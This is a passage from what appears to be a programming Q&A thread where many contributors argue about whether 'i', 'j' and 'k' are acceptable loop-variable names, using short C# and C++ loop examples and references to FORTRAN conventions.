for(int currentCol = 0; currentCol < numCols; currentCol++)
{
someTable[currentRow][currentCol] = someValue;
}
}
"i" means "loop counter" to a programmer. There's nothing wrong with it.
Here's another example of something that's perfectly okay:
foreach (Product p in ProductList)
{
// Do something with p
}
I tend to use i, j, k for very localized loops (only exist for a short period in terms of number of source lines). For variables that exist over a larger source area, I tend to use more detailed names so I can see what they're for without searching back in the code.
By the way, I think that the naming convention for these came from the early Fortran language where I was the first integer variable (A - H were floats)?
i is acceptable, for certain. However, I learned a tremendous amount one semester from a C++ teacher I had who refused code that did not have a descriptive name for every single variable. The simple act of naming everything descriptively forced me to think harder about my code, and I wrote better programs after that course, not from learning C++, but from learning to name everything. Code Complete has some good words on this same topic.
i is fine, but something like this is not:
for (int i = 0; i < 10; i++)
{
for (int j = 0; j < 10; j++)
{
string s = datarow[i][j].ToString(); // or worse
}
}
Very common for programmers to inadvertently swap the i and the j in the code, especially if they have bad eyesight or their Windows theme is "hotdog". This is always a "code smell" for me - it's kind of rare when this doesn't get screwed up.
i is so common that it is acceptable, even for people that love descriptive variable names.
What is absolutely unacceptable (and a sin in my book) is using i,j, or k in any other context than as an integer index in a loop.... e.g.
foreach(Input i in inputs)
{
Process(i);
}
i is definitely acceptable. Not sure what kind of justification I need to make -- but I do use it all of the time, and other very respected programmers do as well.
Social validation, I guess :)
Yes, in fact it's preferred since any programmer reading your code will understand that it's simply an iterator.
What is the value of using i instead of a more specific variable name? To save 1 second or 10 seconds or maybe, maybe, even 30 seconds of thinking and typing?
What is the cost of using i? Maybe nothing. Maybe the code is so simple that using i is fine. But maybe, maybe, using i will force developers who come to this code in the future to have to think for a moment "what does i mean here?" They will have to think: "is it an index, a count, an offset, a flag?" They will have to think: "is this change safe, is it correct, will I be off by 1?"
Using i saves time and intellectual effort when writing code but may end up costing more intellectual effort in the future, or perhaps even result in the inadvertent introduction of defects due to misunderstanding the code.
Generally speaking, most software development is maintenance and extension, so the amount of time spent reading your code will vastly exceed the amount of time spent writing it.
It's very easy to develop the habit of using meaningful names everywhere, and once you have that habit it takes only a few seconds more to write code with meaningful names, but then you have code which is easier to read, easier to understand, and more obviously correct.
I use i for short loops.
The reason it's OK is that I find it utterly implausible that someone could see a declaration of iterator type, with initializer, and then three lines later claim that it's not clear what the variable represents. They're just pretending, because they've decided that "meaningful variable names" must mean "long variable names".
The reason I actually do it, is that I find that using something unrelated to the specific task at hand, and that I would only ever use in a small scope, saves me worrying that I might use a name that's misleading, or ambiguous, or will some day be useful for something else in the larger scope. The reason it's "i" rather than "q" or "count" is just convention borrowed from mathematics.
I don't use i if:
The loop body is not small, or
the iterator does anything other than advance (or retreat) from the start of a range to the finish of the loop:
i doesn't necessarily have to go in increments of 1 so long as the increment is consistent and clear, and of course might stop before the end of the iterand, but if it ever changes direction, or is unmodified by an iteration of the loop (including the devilish use of iterator.insertAfter() in a forward loop), I try to remember to use something different. This signals "this is not just a trivial loop variable, hence this may not be a trivial loop".
If the "something more semantic" is "iterator" then there is no reason not to use i; it is a well understood idiom.
i think i is completely acceptable in for-loop situations. i have always found this to be pretty standard and never really run into interpretation issues when i is used in this instance. foreach-loops get a little trickier and i think really depends on your situation. i rarely if ever use i in foreach, only in for loops, as i find i to be too un-descriptive in these cases. for foreach i try to use an abbreviation of the object type being looped. e.g:
foreach(DataRow dr in datatable.Rows)
{
//do stuff to/with datarow dr here
}
anyways, just my $0.02.
It helps if you name it something that describes what it is looping through. But I usually just use i.
As long as you are either using i to count loops, or part of an index that goes from 0 (or 1 depending on PL) to n, then I would say i is fine.
Otherwise its probably easy to name i something meaningful it its more than just an index.
I should point out that i and j are also mathematical notation for matrix indices. And usually, you're looping over an array. So it makes sense.
As long as you're using it temporarily inside a simple loop and it's obvious what you're doing, sure. That said, is there no other short word you can use instead?
i is widely known as a loop iterator, so you're actually more likely to confuse maintenance programmers if you use it outside of a loop, but if you use something more descriptive (like filecounter), it makes code nicer.
It depends.
If you're iterating over some particular set of data then I think it makes more sense to use a descriptive name. (eg. filecounter as Dan suggested).
However, if you're performing an arbitrary loop then i is acceptable. As one work mate described it to me - i is a convention that means "this variable is only ever modified by the for loop construct. If that's not true, don't use i"
The use of i, j, k for INTEGER loop counters goes back to the early days of FORTRAN.
Personally I don't have a problem with them so long as they are INTEGER counts.
But then I grew up on FORTRAN!
my feeling is that the concept of using a single letter is fine for "simple" loops, however, i learned to use double-letters a long time ago and it has worked out great.
i asked a similar question last week and the following is part of my own answer:// recommended style ● // "typical" single-letter style
●
for (ii=0; ii<10; ++ii) { ● for (i=0; i<10; ++i) {
for (jj=0; jj<10; ++jj) { ● for (j=0; j<10; ++j) {
mm[ii][jj] = ii * jj; ● m[i][j] = i * j;
} ● }
} ● }
in case the benefit isn't immediately obvious: searching through code for any single letter will find many things that aren't what you're looking for. the letter i occurs quite often in code where it isn't the variable you're looking for.
i've been doing it this way for at least 10 years.
note that plenty of people commented that either/both of the above are "ugly"...
I am going to go against the grain and say no.
For the crowd that says "i is understood as an iterator", that may be true, but to me that is the equivalent of comments like 'Assign the value 5 to variable Y. Variable names like comment should explain the why/what not the how.
To use an example from a previous answer:
for(int i = 0; i < 10; i++)
{
// i is well known here to be the index
objectCollection[i].SomeProperty = someValue;
}
Is it that much harder to just use a meaningful name like so?
for(int objectCollectionIndex = 0; objectCollectionIndex < 10; objectCollectionIndex ++)
{
objectCollection[objectCollectionIndex].SomeProperty = someValue;
}
Granted the (borrowed) variable name objectCollection is pretty badly named too.